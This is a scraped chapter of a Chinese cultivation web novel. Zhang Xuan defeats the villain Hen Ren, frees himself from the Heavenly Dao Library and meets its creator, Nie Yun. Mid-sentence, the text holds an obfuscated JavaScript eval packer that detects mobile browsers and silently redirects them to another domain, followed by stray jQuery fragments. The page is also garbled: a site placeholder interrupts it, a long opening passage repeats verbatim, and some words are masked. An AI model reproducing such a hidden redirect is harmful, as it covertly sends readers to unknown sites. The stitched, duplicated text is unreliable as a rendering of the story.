灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101058|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 